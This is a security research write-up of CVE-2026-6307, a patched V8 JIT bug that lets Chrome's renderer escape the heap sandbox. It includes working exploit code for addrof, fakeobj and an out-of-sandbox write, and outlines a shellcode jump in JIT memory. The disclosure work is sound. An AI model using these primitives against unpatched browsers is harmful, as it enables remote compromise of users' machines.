Cached at:
06/29/26, 04:30 PM
# Longinus: 2 Boundaries in One Bug, Piercing Chrome’s Renderer and V8 Sandbox with a Single Vulnerability, CVE-2026-6307
Source: [https://nebusec.ai/research/v8-cve-2026-6307-writeup/](https://nebusec.ai/research/v8-cve-2026-6307-writeup/)
1. [https://nebusec.ai/](https://nebusec.ai/)
2. [Research](https://nebusec.ai/research)
3. Longinus: 2 Boundaries in One Bug, Piercing Chrome’s Renderer and V8 Sandbox with a Single Vulnerability, CVE\-2026\-6307
> Chrome V8 JavaScript engine features a heap sandbox to prevent an attacker from writing outside of the sandbox region with only a vulnerability in their JavaScript engine\. However,[Vega](https://nebusec.ai/vega/)discovered a special bug in the JIT compiler that allows an attacker to gain arbitrary read/write primitives in sandbox and even escape the sandbox to write outside of it solely on its own\. This writeup will cover the technical details of the vulnerability\.
## Summary
This V8 vulnerability can achieve all of the following on its own:
- Gain arbitrary memory read/write primitive with 100% success rate, without any spraying trick
- Achieve V8 heap sandbox escape and RCE on its own, without any other bug
- Found in Chrome 106, across 4 years
Your browser does not support the video tag\.
## Background
To understand the bug, we first need a high\-level overview of TurboFan, how it inlines JS\-to\-Wasm calls, and how its deoptimization metadata decides what kind of value should be reconstructed after a lazy deopt\. Furthermore, we need to understand how V8 heap sandbox works and why this single vulnerability allows attackers to do two things at once: 1\) gain arbitrary read/write primitives in the sandbox, and 2\) escape the sandbox to write outside of it\.
### TurboFan
TurboFan is V8’s optimizing compiler\. After a JavaScript function has run enough times, V8 can use feedback collected by the lower execution tiers to compile a specialized version of that function\. This feedback includes information such as the shapes of objects, the targets seen at call sites, and the representations of values used by particular operations\.
V8 initially executes a function through Ignition bytecode and may move it through other tiers before TurboFan compiles it\. Those earlier executions populate the function’s feedback vector\. TurboFan turns the bytecode and feedback into a compiler graph, applies high\-level JavaScript optimizations, and eventually lowers the graph toward machine operations\. Turboshaft is the lower\-level compiler representation used during this pipeline and is where the value\-numbering behavior relevant to this bug takes place\.
At a high level, TurboFan’s job is to replace generic JavaScript execution with specialized machine code while preserving a way back to correct generic execution\. It can inline callees, specialize property accesses, and emit checks that guard the assumptions it made from feedback\. If one of those assumptions is invalidated later, optimized execution must deoptimize\.
#### Sea of Nodes
TurboFan represents the function being compiled as a graph, often described as a Sea of Nodes\. Instead of a simple linear instruction list, operations are connected by their dependencies\. A node can depend on value inputs, control inputs, and effect inputs\. This lets TurboFan move and simplify operations while still preserving the ordering required for side effects and control flow\. In a traditional CFG, the compiler asks: Which basic block does this instruction belong to, and in what order does it run? But in Sea of Nodes, the compiler asks: What does this operation depend on, and where can it legally be placed later? That difference matters because Sea of Nodes avoids committing too early to an instruction’s exact location\. For example:
```
function f(x, y, z) { let a = x + y; let b = y + z; if (a > 0) return b * 2; else return b * 3;}
```
In a CFG, you might represent it as:
```
B1: a = x + y b = y + z if a > 0 goto B2 else B3B2: return b * 2B3: return b * 3
```
Here,`b = y \+ z`is already placed in block B1\.
In Sea of Nodes,`b = y \+ z`is just an Add node depending on`y`and`z`:
It does not have to belong to a basic block immediately\. Later, the compiler can decide whether to place it before the branch, inside one branch, hoist it, sink it, eliminate it, or share it with another identical computation\. That is the key benefit: more optimization freedom\. Sea of Nodes is especially good for: common subexpression elimination, global value numbering, dead code elimination, code motion, bounds\-check elimination\.
Finally, it schedules the Sea of Nodes graph into basic blocks, lowers nodes to machine instructions, assigns registers, removes things like Phi, then emits linear assembly/machine code\.
For this bug, the important point is that calls, checks, and deoptimization metadata all live in the same graph\. When TurboFan inlines a call, the callee’s operations are inserted into the caller’s graph\. If the inlined operation can deoptimize, the graph also contains`FrameState`nodes describing how execution should be reconstructed if optimized execution cannot continue\.
`FrameState`nodes are metadata, but they are still graph nodes with inputs and options\. They do not execute like arithmetic or memory operations, yet optimization passes can still reason about them\. Later in the writeup, this matters because two JS\-to\-Wasm continuation`FrameState`nodes can look equivalent to the graph optimizer even though they describe different Wasm return types\.
#### JS\-to\-Wasm call inlining
One TurboFan optimization relevant to this bug is JS\-to\-Wasm call inlining\. JavaScript and WebAssembly use different calling conventions and value representations, so a call from JavaScript into Wasm normally goes through a JS\-to\-Wasm wrapper\. The wrapper converts JavaScript arguments to Wasm values, performs the Wasm call, and converts the Wasm result back to a JavaScript value\.
TurboFan can inline that wrapper into the optimized JavaScript caller\. This avoids a separate wrapper call and exposes the argument/result conversion code to the optimizer\. V8 may also inline sufficiently small Wasm function bodies, but full Wasm\-body inlining is not required for this bug\. Inlining the wrapper is enough\.
In this writeup, the JS\-to\-Wasm call is reached through a JavaScript property getter\. After warmup, TurboFan can specialize the property access, check the receiver shape, call the known getter target directly, and inline the JS\-to\-Wasm wrapper for that target\. If the same JavaScript function sees two receiver shapes, the optimized graph can contain two such getter paths in one compiled function\.
Each inlined wrapper is built from the canonical signature of its Wasm function\. Canonicalization lets V8 represent structurally equivalent function types with a shared signature object\. The signature contains both parameter and return types; it is therefore more precise than simply recording how many values the continuation builtin receives\.
Two return types matter for this bug\. A Wasm`i64`is exposed to JavaScript as a`BigInt`, while an`externref`is a tagged JavaScript reference\.
For a Wasm function with this signature:
the machine return value is a raw 64\-bit integer\. The wrapper must turn that integer into a`BigInt`before returning to JavaScript\. For this function:
```
(func (result externref))
```
the value in the return register is already a tagged reference and must be handled as such\. The machine\-level return location may be the same, but the meaning of the bits is determined by the Wasm signature\.
The important detail is that the wrapper signature decides how the Wasm return bits are converted back to JavaScript\.
### Deoptimization
Deoptimization replaces an active optimized frame with one or more frames that can continue in a lower tier\. To do this, V8 must recover the state that the unoptimized function expects: its parameters, local variables, context, current bytecode position, and any inlined frames\.
Optimized code does not necessarily keep these values in their original form\. A local might be stored in a register, folded into a constant, or removed entirely\. The compiler therefore attaches deoptimization metadata to points where execution may leave optimized code\. In TurboFan and Turboshaft, this state is represented using`FrameState`nodes\.
A simplified`FrameState`contains:
- The values needed to rebuild the frame, such as parameters and locals\.
- An outer`FrameState`when the current operation was inlined into another function\.
- A`FrameStateInfo`describing the kind of frame, its continuation point, and function\-specific metadata\.
The compiler can nest these states\. If a getter and its JS\-to\-Wasm wrapper have been inlined into the optimized caller, the inner continuation state points to the outer JavaScript state\. The deoptimizer walks that chain to recreate the logical call stack even though those calls no longer exist as separate physical frames in the optimized machine code\.
There are two relevant ways deoptimization can happen\. An eager deoptimization occurs immediately when a check fails\. At that point, all values required to reconstruct the frame are available at the deopt point\. A lazy deoptimization is associated with a call\. The optimized function can be marked for deoptimization while another function is running, but the transition only occurs when that call returns\.
Lazy deoptimization needs special handling for the call result\. The result does not exist when the`FrameState`is created, so it is not listed as a normal input\. Instead, the deoptimizer obtains it from the machine return register and adds it to a continuation frame\. Execution then resumes through a continuation builtin as if the optimized call had returned normally\.
For a JS\-to\-Wasm call inlined by TurboFan, V8 creates an inner continuation`FrameState`with the type`kJSToWasmBuiltinContinuation`\. Its function information uses a derived class that stores the Wasm signature:
```
class JSToWasmFrameStateFunctionInfo : public FrameStateFunctionInfo { public: const wasm::CanonicalSig* signature() const { return signature_; } private: const wasm::CanonicalSig* const signature_;};
```
This signature is not just informational\. During code generation, V8 derives the Wasm return kind from it and serializes that kind into the deoptimization data\. If a lazy deoptimization occurs, the deoptimizer uses the recorded return kind to materialize the result\.
#### Materializing Wasm return values
For JS\-to\-Wasm lazy deoptimization, the call has already returned at the machine\-code level\. The deoptimizer therefore reconstructs the call result from the return register and the recorded Wasm return kind:
```
TranslatedValue Deoptimizer::TranslatedValueForWasmReturnKind( std::optional<wasm::ValueKind> wasm_call_return_kind) { if (wasm_call_return_kind) { switch (wasm_call_return_kind.value()) { case wasm::kI32: return TranslatedValue::NewInt32( &translated_state_, static_cast<int32_t>(input_->GetRegister(kReturnRegister0.code()))); case wasm::kI64: return TranslatedValue::NewInt64ToBigInt( &translated_state_, static_cast<int64_t>(input_->GetRegister(kReturnRegister0.code()))); case wasm::kF32: return TranslatedValue::NewFloat( &translated_state_, input_->GetFloatRegister(wasm::kFpReturnRegisters[0].code())); case wasm::kF64: return TranslatedValue::NewDouble( &translated_state_, input_->GetDoubleRegister(wasm::kFpReturnRegisters[0].code())); case wasm::kRefNull: case wasm::kRef: return TranslatedValue::NewTagged( &translated_state_, Tagged<Object>(input_->GetRegister(kReturnRegister0.code()))); default: UNREACHABLE(); } } return TranslatedValue::NewTagged(&translated_state_, ReadOnlyRoots(isolate()).undefined_value());}
```
The deoptimizer does not ask the original Wasm function what it returned; it trusts the`wasm\_call\_return\_kind`serialized from the`FrameState`\. For both`kI64`and reference returns, it reads the same machine return register,`kReturnRegister0`\. The only difference is how the bits are interpreted:`kI64`casts the register value to an`int64\_t`and boxes it as a`BigInt`, while`kRef`and`kRefNull`wrap the register value as a`Tagged<Object\>`\.
This is also why the`externref`case leaks a full 64\-bit tagged value when confused with`i64`\. Pointer compression affects many tagged values stored in heap fields, but Wasm reference values in the compiler graph use the tagged register representation\. On pointer\-compression builds, that register representation is a decompressed heap pointer, or a Smi\. By the time the deoptimizer reads`kReturnRegister0`, there is no separate “32\-bit compressed pointer plus cage base” pair to reconstruct; the register already contains the full tagged value\.
Therefore, if the recorded return kind comes from the wrong`FrameState`, the deoptimizer directly reinterprets the same 64 bits as the wrong JavaScript value type\. This is the point where an`externref`can be materialized as an`i64`, or an`i64`can be materialized as an object reference\.
#### FrameState merging
One subtle point is that`FrameState`nodes are still nodes in the compiler graph before they are serialized into deoptimization data\. This means graph optimizations can also see them\. The relevant optimization here is common subexpression elimination, also called global value numbering\.
Common subexpression elimination is not part of the deoptimizer itself, but it can affect the metadata that the deoptimizer later consumes\. If two graph nodes have the same inputs and equivalent metadata, the compiler can keep the first node and replace uses of the second with it\. For normal operations, this removes redundant work\. For`FrameState`nodes, it means two deoptimization states can be merged\.
Merging two`FrameState`nodes is safe only when the states are interchangeable for deoptimization\. Turboshaft first uses a quick hash to locate possible matches and then uses equality operators for the full comparison\. That comparison must include every field that changes how a frame is reconstructed\.
The`FrameState`hash intentionally uses only a small part of the metadata, including its bailout ID\. Hash collisions are expected and are not themselves a bug: after finding a candidate with the same hash, value numbering compares the operation’s inputs and full options\. The correctness boundary is therefore the equality comparison\. If it says that semantically different deoptimization states are equal, one can be replaced with the other\.
### V8 Heap Sandbox
V8 Heap Sandbox is an in\-process software fault isolation, that confines memory corruption bugs originating from untrusted JavaScript or WebAssembly code, limiting the effect in a subset of the process virtual address space region, or, the V8 heap sandbox region\. The V8 heap sandbox assumes that an attacker can arbitrarily and concurrently read and write memory in the V8 heap sandbox region with primitives from typical traditional V8 vulnerabilities \(addrof and fakeobj\)\.
Without loss of generality, the implementation of the V8 heap sandbox can be regarded as adding an extra layer of translation to addressing operations\.
Address translationDoes this remind you about the address translation in your Operating System course?
The V8 sandbox is currently a 1 TB large region, containing all V8 heaps \(located inside the 4GB V8 pointer compression cage at the start of the sandbox\), ArrayBuffer backing stores and Wasm backing buffers\. The address ing operation in V8 heap sandbox can be described as follows:
- Compressed pointer: 32\-bit pointer, which is the pointer representation used in V8 heap sandbox\. The compressed pointer cage is allocated at the start of the V8 heap sandbox region\. When dereferencing a compressed pointer, the engine adds the base of the compressed pointer cage to the compressed pointer to get the actual address in the V8 heap sandbox region\.
- Sandboxed pointer: objects located inside the sandbox can be referenced with a 40\-bit offset from the base of the sandbox\.
- Pointer Tables: V8 needs objects outside of the sandbox\. These objects are referenced with Pointer Tables, which are also located outside of the sandbox, including`CodePointerTable`,`TrustedPointerTable`, and`ExternalPointerTable`\. The pointer tables are used to store the actual addresses of objects outside of the sandbox with inlined type tag\. Out\-of\-bounds access in those tables are also prevented, by reserving a fixed\-size virtual memory block for every table during initialization and using left\-shifted indices\.
Finally, we can summarize the V8 heap sandbox as follows:

## The Bug
The bug was in the equality operator for`FrameStateFunctionInfo`:
```
bool operator==(FrameStateFunctionInfo const& lhs, FrameStateFunctionInfo const& rhs) { // ... return lhs.type() == rhs.type() && lhs.parameter_count() == rhs.parameter_count() && lhs.max_arguments() == rhs.max_arguments() && lhs.local_count() == rhs.local_count() && lhs.shared_info().equals(rhs.shared_info()) && lhs.bytecode_array().equals(rhs.bytecode_array());}
```
`JSToWasmFrameStateFunctionInfo`inherits from`FrameStateFunctionInfo`and adds the`signature\_`field described above\. However, the equality operator accepted references to the base class and only compared fields from that base class\. It never compared the Wasm signatures\.
The missing comparison is easy to overlook because the base class already contains several Wasm\-specific fields, such as a Wasm function index and a Liftoff frame size\. Those fields are checked earlier in the complete equality operator\. They are used by other Wasm frame\-state types, but they do not replace the derived JS\-to\-Wasm continuation’s signature\.
This becomes a problem when the same optimized JavaScript function can call two Wasm getters with matching parameter lists but different return types\. The regression can be triggered with functions equivalent to:
```
builder.addFunction('return_ref', kSig_r_v) .addBody([kExprCallFunction, callback_index, kExprGlobalGet, g_ref.index]);builder.addFunction('return_i64', kSig_l_v) .addBody([kExprCallFunction, callback_index, kExprGlobalGet, g_i64.index]);
```
Both functions take no parameters, and both JS\-to\-Wasm continuation states use the same continuation builtin\. The corresponding metadata is therefore identical according to the faulty equality operator:
```
externref state i64 statetype JS-to-Wasm continuation JS-to-Wasm continuationparameter_count 0 0max_arguments 0 0local_count 0 0shared_info empty emptybytecode_array empty emptysignature () -> externref () -> i64 ^ not compared ^ not compared
```
In particular,`parameter\_count`describes the explicit inputs to the continuation builtin\. It does not encode the Wasm function’s return type\. Two functions with`\(\) \-\> externref`and`\(\) \-\> i64`can therefore have identical base\-class metadata even though their results require completely different materialization\.
`FrameStateData::operator==`relies on this comparison when deciding whether the metadata attached to two`FrameState`nodes is equal:
```
return lhs.frame_state_info == rhs.frame_state_info && lhs.instructions == rhs.instructions && lhs.machine_types == rhs.machine_types && lhs.int_operands == rhs.int_operands;
```
The comparison proceeds through`FrameStateInfo::operator==`, which checks the bailout ID and state\-combine mode before delegating to`FrameStateFunctionInfo::operator==`\. Both call sites use the bytecode offset for`JSToWasmLazyDeoptContinuation`, so those outer fields also match\. The omitted derived field is the only metadata that distinguishes the two return conventions\.
When the remaining inputs also match, common subexpression elimination concludes that the two frame states are the same\. It removes one and redirects its uses to the other\. Which return signature survives depends on which state is retained, but either direction is unsafe\.
Nothing immediately goes wrong when the compiler performs this replacement\. A`FrameState`is metadata rather than an operation executed on the normal path, and both Wasm calls still return correctly while the optimized function remains valid\. The mismatch only becomes observable if execution takes a deoptimization exit which consumes the incorrectly shared state\.

The following JavaScript shape gives TurboFan both call targets in one function:
```
Object.defineProperty(ProtoForI64.prototype, 'x', {get: exports_.return_i64});Object.defineProperty(ProtoForRef.prototype, 'x', {get: exports_.return_ref});function foo(o) { return o.x;}
```
During warmup,`foo`is called with instances of both prototypes\. TurboFan specializes the property access for both receiver shapes and inlines the corresponding JS\-to\-Wasm wrappers\. This creates the two continuation`FrameState`s which common subexpression elimination can incorrectly merge\.
The Wasm functions first call an imported JavaScript callback and then load their return value from a mutable global\. The callback changes one of the prototypes after`foo`has been optimized:
```
const exports_ = makeInstance(() => { if (arm_deopt) { ProtoForRef.prototype.deopt_marker = 1; }});
```
Changing the prototype invalidates an assumption embedded in the optimized code and marks`foo`for deoptimization\. Because`foo`is suspended below the JS\-to\-Wasm call, the actual transition is a lazy deoptimization when the Wasm call returns\.
During code generation, the surviving signature is converted to a single`return\_kind`in a`JSToWasmFrameStateDescriptor`\. That kind is serialized into the deoptimization translation\. The original call target is no longer consulted when the frame is rebuilt, so there is no later opportunity to notice that the serialized return kind belongs to the other path\.
At that moment, the deoptimizer consults the merged continuation state\. Suppose the actual call returns an`externref`, but the surviving`FrameState`contains the`i64`signature\. The deoptimizer reads the tagged reference from the return register as a raw 64\-bit integer and materializes it as a`BigInt`\. This exposes the tagged pointer bits as an integer\.
The reverse direction is more dangerous\. If the actual call returns an attacker\-controlled`i64`but the surviving state contains the`externref`signature, the deoptimizer treats those 64 bits as a tagged JavaScript reference\. No conversion from`BigInt`and no validation of the object occurs, because the incorrect metadata says that the register already contains a reference\.
The result is a direct confusion between a Wasm`i64`and a JavaScript object reference:
```
actual externref + recorded i64 => address exposed as BigIntactual i64 + recorded externref => integer treated as object reference
```
This supplies the`addrof`and`fakeobj`primitives used in the next section\.
## Exploitation
### Getting addrof and fakeobj
Since the confusion is between a Wasm`i64`and an`externref`, obtaining the initial primitives is straightforward\.
We first create a Wasm instance containing two functions with identical parameter signatures, but different return types\. Due to the faulty signature comparison, the return type is ignored when determining whether the two call sites are compatible\.
```
function makeInstance(callback) { const builder = new WasmModuleBuilder(); const callback_index = builder.addImport('env', 'callback', kSig_v_v); const g_ref = builder.addGlobal(kWasmExternRef, true, false).exportAs('g_ref'); const g_i64 = builder.addGlobal(kWasmI64, true, false).exportAs('g_i64'); builder.addFunction('rr', kSig_r_v) .addBody([ kExprCallFunction, callback_index, kExprGlobalGet, g_ref.index, ]) .exportFunc(); builder.addFunction('rl', kSig_l_v) .addBody([ kExprCallFunction, callback_index, kExprGlobalGet, g_i64.index, ]) .exportFunc(); return builder.instantiate({env: {callback}}).exports;}
```
To obtain`addrof`, we place the target object in the`externref`global, but cause the deoptimizer to materialize the result using the`i64`return type\.
```
function addrof(target) { let arm_deopt = false; function LeakI64() {} function LeakRef() {} const exports_ = makeInstance(() => { if (arm_deopt) { LeakRef.prototype.deopt_marker = 1; } }); Object.defineProperty(LeakI64.prototype, 'x', {get: exports_.rl, configurable: true}); Object.defineProperty(LeakRef.prototype, 'x', {get: exports_.rr, configurable: true}); function foo(o) { return o.x; } const a = new LeakI64(); const b = new LeakRef(); exports_.g_ref.value = target; exports_.g_i64.value = 43n; %PrepareFunctionForOptimization(foo); for (let i = 0; i < 20; ++i) { foo(a); foo(b); } %OptimizeFunctionOnNextCall(foo); foo(a); arm_deopt = true; return foo(b);}
```
The final call invokes the`externref`getter, but the value is reconstructed as an`i64`\. This exposes the full tagged pointer\(64 bits\) of`target`as a`i64`, giving us an`addrof`primitive\.
Conversely,`fakeobj`is obtained by placing our`i64`in the global and causing it to be materialized as an`externref`\.
```
function fakeobj(addr) { let arm_deopt = false; function MaterializeRef() {} function MaterializeI64() {} const exports_ = makeInstance(() => { if (arm_deopt) { MaterializeI64.prototype.deopt_marker = 1; } }); Object.defineProperty(MaterializeRef.prototype, 'x', {get: exports_.rr, configurable: true}); Object.defineProperty(MaterializeI64.prototype, 'x', {get: exports_.rl, configurable: true}); function foo(o) { return o.x; } const a = new MaterializeRef(); const b = new MaterializeI64(); exports_.g_ref.value = {marker: 1}; exports_.g_i64.value = addr; %PrepareFunctionForOptimization(foo); for (let i = 0; i < 20; ++i) { foo(a); foo(b); } %OptimizeFunctionOnNextCall(foo); foo(a); arm_deopt = true; const result = foo(b); return result;}
```
The returned`i64`is reconstructed as a tagged reference, allowing an attacker\-controlled address to be treated as a JavaScript object\.
### Writing outside the sandbox
More importantly, the newly materialized reference can still be dereferenced normally, even when its underlying pointer lies outside the V8 sandbox\.
Recall: Why the pointer can live outside the V8 sandbox?The deoptimizer materializes the`i64`as a reference, while the`i64`value is fully controlled by the attacker, which means it can point to memory outside of sandbox\.
In order to optimize the property store, V8 engine support in\-object properties which are stored directly on the object themselves\.

As the vulnerability allows us to create reference in full 64\-bit address range, what if we can forge an object pointer with a valid map outside of sandbox?
```
function confuseI64AsRefAndStore(ptr, value, real) { let arm_deopt = false; function ProtoForRef() {} function ProtoForI64() {} const exports_ = makeInstance(() => { if (arm_deopt) ProtoForI64.prototype.deopt_marker = 1; }); Object.defineProperty(ProtoForRef.prototype, 'x', {get: exports_.return_ref}); Object.defineProperty(ProtoForI64.prototype, 'x', {get: exports_.return_i64}); function foo(o, v, do_store) { const r = o.x; if (do_store) r.p = v; return r; } const obj_ref = new ProtoForRef(); const obj_i64 = new ProtoForI64(); exports_.g_ref.value = real; exports_.g_i64.value = ptr; %PrepareFunctionForOptimization(foo); for (let i = 0; i < 30; ++i) { foo(obj_ref, 1, true); foo(obj_i64, 1, false); } %OptimizeFunctionOnNextCall(foo); foo(obj_ref, 1, true); arm_deopt = true; return foo(obj_i64, value, true);}
```
During warmup, the property store is only executed on stores on an actual object\. This allows TurboFan to optimize`r\.p = v`as a normal in\-object property store\.
On the final invocation, the`i64`getter is used instead\. The deoptimizer materializes the`i64`as a tagged reference, and the optimized property store is then performed relative to that forged object pointer\.
As long as a valid map and properties field are present before the chosen write target, the object passes the required layout checks and the in\-object property store reaches the address pointed to by the`i64`\.
Since we also control the object map pointer, although the number of properties are limited, so the write offset from the map \+ properties qword is not arbitrarily large, our property store write can still be reasonably far away from our qword to do a lot of interesting things\.
### Writing to JIT memory
A convenient target is JIT memory\. Arbitrary qwords can first be placed in the region as literals\(e\.g\. JITed functions that return an array of doubles\), allowing disjoint qwords to be staged without any prior write primitive\.
The property store can then be used to patch any nearby instruction\. For example, a tagged SMI write is sufficient to place a short relative jump after one of the staged qwords and redirect execution into smuggled shellcode, allowing RCE in the renderer process\.
## Appendix
### Timeline
- 2026\-03\-29: We reported the bug to Google\.
- 2026\-03\-30: Google acknowledged the report and started investigating\.
- 2026\-03\-31: Google identified the root cause and finished the fix\.
- 2026\-04\-07: The fix was released in Chrome 147\.0\.7727\.101\.
- 2026\-06\-29: We published this blog post\.
### Mitigation
```
diff --git a/src/compiler/frame-states.cc b/src/compiler/frame-states.ccindex 7c15107243d..5312f07b5fe 100644--- a/src/compiler/frame-states.cc+++ b/src/compiler/frame-states.cc@@ -37,11 +37,12 @@ std::ostream& operator<<(std::ostream& os, OutputFrameStateCombine const& sc) { bool operator==(FrameStateFunctionInfo const& lhs, FrameStateFunctionInfo const& rhs) { #if V8_HOST_ARCH_X64-// If this static_assert fails, then you've probably added a new field to-// FrameStateFunctionInfo. Make sure to take it into account in this equality-// function, and update the static_assert.+// If these static_asserts fail, then you've probably added a new field to+// FrameStateFunctionInfo or JSToWasmFrameStateFunctionInfo. Make sure to+// take it into account in this function, and update the static_assert. #if V8_ENABLE_WEBASSEMBLY static_assert(sizeof(FrameStateFunctionInfo) == 40);+ static_assert(sizeof(JSToWasmFrameStateFunctionInfo) == 48); #else static_assert(sizeof(FrameStateFunctionInfo) == 32); #endif@@ -52,6 +53,18 @@ bool operator==(FrameStateFunctionInfo const& lhs, lhs.wasm_function_index() != rhs.wasm_function_index()) { return false; }++ // JSToWasmFrameStateFunctionInfo has an additional signature_ field.+ // Two frame states with different wasm signatures must not compare equal,+ // otherwise CSE/GVN can merge them and the deoptimizer will use the wrong+ // signature to materialize the continuation frame.+ if (lhs.type() == FrameStateType::kJSToWasmBuiltinContinuation &&+ rhs.type() == FrameStateType::kJSToWasmBuiltinContinuation) {+ if (static_cast<const JSToWasmFrameStateFunctionInfo&>(lhs).signature() !=+ static_cast<const JSToWasmFrameStateFunctionInfo&>(rhs).signature()) {+ return false;+ }+ }
```
For users, please update to the latest version of Chrome\.
### Affected versions
The bug was introduced in Chrome 106, can affect 148 beta at the time of report, and fixed in Chrome 147\.0\.7727\.101\. Any released Chrome version between 106 and 147 is affected\.
### Acknowledgements
We would like to thank the V8 team for their quick response and thorough investigation of this issue\.
### Disclosure policy
For all bugs found by[Vega](https://nebusec.ai/vega/), we follow our standard 90\+30 days disclosure policy as described on our[About page](https://nebusec.ai/about/)\.
[Previous PostHow an Omitted Write Barrier in V8 Turns Into RCE in Chrome: CVE\-2026\-5865](https://nebusec.ai/research/v8-maglev-incorrect-phis-untagging#post-title)[Next PostYou're at the newest post\!](https://nebusec.ai/research/v8-cve-2026-6307-writeup/#)